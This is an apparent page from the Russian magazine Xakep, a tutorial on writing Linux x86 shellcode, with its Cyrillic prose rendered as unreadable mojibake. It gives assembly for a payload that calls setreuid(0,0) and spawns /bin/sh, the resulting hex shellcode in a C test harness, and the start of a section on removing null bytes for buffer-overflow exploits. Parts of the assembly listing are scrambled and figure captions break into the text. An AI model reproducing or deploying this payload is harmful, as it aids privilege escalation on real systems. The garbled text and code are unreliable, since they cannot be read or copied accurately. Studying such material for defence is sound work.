Январь - Xakep Online

ÂÇËÎÌ ///// ISSUE
Ïðàêòè÷åñêè êàæäûé ýêñïëîèò ñîäåðæèò
íåñêîëüêî ñòðî÷åê øåëëêîäà
jmp two
one:
pop ebx
[òåêñò ïðîãðàììû]
two:
call one
db 'ñòðîêà'
 ñàìîì íà÷àëå ïðîãðàììû îñóùåñòâëÿåòñÿ ïåðåõîä íà ìåòêó
two, çà êîòîðîé ðàñïîëîæåí âûçîâ ïðîöåäóðû one. Íà ñàìîì äåëå
íèêàêîé ïðîöåäóðû íåò, îäíàêî ñ òàêèì èìåíåì åñòü åùå îäíà
ìåòêà, êîòîðîé è ïåðåäàåòñÿ óïðàâëåíèå. Â ýòîò ìîìåíò â
ñòåê çàíîñèòñÿ àäðåñ âîçâðàòà, òî åñòü àäðåñ ñëåäóþùåé çà call
èíñòðóêöèåé.  íàøåì ñëó÷àå ýòî ñòðîêà áàéò — db 'string'. Ïîëó÷àåòñÿ,
÷òî ê ìîìåíòó, êîãäà íà÷èíàåòñÿ îáðàáîòêà ìåòêè one,
â ñòåê óæå áóäåò ïîìåùåí àäðåñ íà÷àëà ñòðîêè. Íàì îñòàåòñÿ
ëèøü èçâëå÷ü åå è èñïîëüçîâàòü, êàê çàáëàãîðàññóäèòüñÿ. Ïîïðîáóåì
ýòèì âîñïîëüçîâàòüñÿ â ðåàëüíîé ïðîãðàììå: äëÿ ýòîãî
ìîäèôèöèðóåì íàø âòîðîé ïðèìåð. Äëÿ óäîáñòâà íàçîâåì åãî
shell.asm, òàê êàê äàëåå áóäåì ðàáîòàòü òîëüêî ñ íèì.
BITS 32
; setreuid(0, 0)
mov eax, 70
mov ebx, 0
mov ecx, 0
int 0x80
jmp
one:
pop
two
ebx
; execve("/bin/sh",["/bin/sh", NULL], NULL)
mov eax, 11
push 0
push ebx
mov ecx, esp
mov edx, 0
int 0x80
two:
call one
db '/bin/sh', 0
Êàê âèäèøü, íèêàêèõ ñåãìåíòîâ áîëüøå íåò. Ñòðîêà /bin/sh, êîòîðàÿ
ðàíåå õðàíèëàñü â ñåãìåíòå äàííûõ, òåïåðü èçâëåêàåòñÿ
èç ñòåêà â ðåãèñòð EBX. Êðîìå ýòîãî, äîáàâèëàñü íîâàÿ äèðåêòèâà
BITS 32, îòâå÷àþùàÿ çà îïòèìèçàöèþ äëÿ 32-áèòíûõ ïðîöåññîðîâ.
 ïðèíöèïå, ìîæíî áûëî ïîñòóïèòü èíà÷å: ñàìîñòîÿòåëüíî çàíåñòè
â ñòåê ñòðîêó è èçâëå÷ü åå ñ ïîìîùüþ óêàçàòåëÿ íà âåðøèíó
ñòåêà ESP. Ïðîâåðíåì òàêîé ôèíò ñî ñòðîêîé «hello,
world!»:
push word 0x0a21
push 0x646c726f
push 0x77202c6f
push 0x6c6c6568
mov ebx, esp
Ñòðîêà çàíîñèòñÿ â ñòåê ñ êîíöà:
Ïðîãðàììà íà C,
ñíà÷àëà èäåò \n! (â øåñòíàäöàòåðè÷íîì
êîäå 0x0a21), ïîòîì dlro
çàïóñêàþùàÿ øåëë-èíòåðïðåòàòîð
(0x646c726f), äàëåå w ,o (0x77202c6f) è lleh (0x6c6c6568). Â êîíöå
êîíöîâ çíà÷åíèå èç ðåãèñòðà ESP (àäðåñ íà÷àëà ñòðîêè) çàíîñèòñÿ
EBX. Ëèõî? Ýòîò ñïîñîá áîëåå ýôôåêòèâåí, òàê êàê ñóùåñòâåííî
ñîêðàùàåò øåëë-êîä, îäíàêî ìåíåå óäîáåí.
ÏÅÐÂÛÉ ØÅËË-ÊÎÄ
Òåïåðü, êîãäà ìû íàó÷èëèñü îáõîäèòüñÿ áåç ñåãìåíòà äàííûõ,
ìîæíî ïðèñòóïèòü ê ñîçäàíèþ ïåðâîãî ïîëíîöåííîãî øåëë-êîäà.
Äëÿ ýòîãî íóæíî ñíà÷àëà îòêîìïèëèðîâàòü èñõîäíûé êîä ïðîãðàììû
íà àññåìáëåðå:
$ nasm shell.asm
È ïðîñìîòðåòü ïîëó÷åííûé áèíàðíèê ñ ïîìîùüþ ïðîãðàììû hexdump:
$ hexdump -C shell
Âèäèøü ñêðèíøîò? Ïî ñóòè äåëà ýòî è åñòü øåëë-êîä, òîëüêî íåîáõîäèìî
ïðåîáðàçîâàòü åãî â ñîîòâåòñòâóþùèé âèä. Äëÿ ýòîãî
ïåðåä êàæäûì áàéòîì äîïèøè ñèìâîë \x è áåç ïðîáåëîâ çàíåñè
â ìàññèâ ñèìâîëîâ. Ïðîâåðèòü åãî ðàáîòîñïîñîáíîñòü ìîæíî ñ
ïîìîùüþ òàêîé íåñëîæíîé ïðîãðàììû:
char code[]=
"\xb8\x46\x00\x00\x00\xbb\x00\x00\x00\x00\xb9\x00\x00\x00\x00\xcd"
"\x80\xe9\x15\x00\x00\x00\x5b\xb8\x0b\x00\x00\x00\x68\x00\x00\x00"
"\x00\x53\x89\xe1\xba\x00\x00\x00\x00\xcd\x80\xe8\xe6\xff\xff\xff"
"\x2f\x62\x69\x6e\x2f\x73\x68\x00";
main()
{
int (*shell)();
(int)shell = code;
shell();
}
$ gcc -o shell.c
$ ./shell.c
Âñå ðàáîòàåò!
ÝÒÈ ÇËÛÅ NULL-ÁÀÉÒÛ
Ñïåøó òåáÿ îãîð÷èòü. Íåñìîòðÿ íà òî, ÷òî øåëë-êîä íå èñïîëüçóåò
ñåãìåíò äàííûõ è äàæå ðàáîòàåò âíóòðè ïðîãðàììû-òåñòåðà,
èñïîëüçîâàòü åãî â ðåàëüíûõ ýêñïëîéòàõ ïîêà
íåëüçÿ. Âèíîé òîìó íóëåâûå áàéòû (\x00), êîòîðûå â èçîáèëèè
ïðèñóòñòâóþò â øåëë-êîäå. Áîëüøèíñòâî îøèáîê Buffer
Overflow è ïîäîáíûõ ñâÿçàíû ñ èñïîëüçîâàíèåì ôóíêöèè ðàáîòû
ñî ñòðîêàìè: strcpy(), sprintf(), gets(), strcat() è ò.ä. Åñëè
ïîïûòàòüñÿ èñïîëüçîâàòü øåëë-êîä â îäíîé èç òàêèõ óÿçâèìîñòåé,
ïåðåïîëíèòü áóôåð è èíæåêòèðîâàòü êîä ñ íóëåâûìè
áàéòàìè, òî íè÷åãî õîðîøåãî íå âûéäåò. Âñòðåòèâ íóëåâîé
áàéò, ôóíêöèÿ ïîäóìàåò, ÷òî âñòðåòèëà êîíåö ñòðîêè è
íå ïðî÷èòàåò îñòàâøóþñÿ ÷àñòü øåëë-êîäà.
Îò õàêåðà òðåáóåòñÿ âñåìè ñèëàìè èçáåãàòü ñèòóàöèè, êîãäà â øåëëêîäå
ïîÿâëÿþòñÿ íóëåâûå áàéòû. Ýòèì ìû, ñîáñòâåííî, è çàéìåìñÿ.
Èäåÿ ïðîñòàÿ: íàéòè òå ó÷àñòêè êîäà, êîòîðûå ïîðîæäàþò íóëåâûå
áàéòû, è âèäîèçìåíèòü èõ òàêèì îáðàçîì, ÷òîáû êîìáèíàöèè
\x00 â øåëë-êîäå áîëüøå íå âñòðå÷àëîñü. Îïûòíûé ïðîãðàììèñò
054 XÀÊÅÐ 01 /85/ 06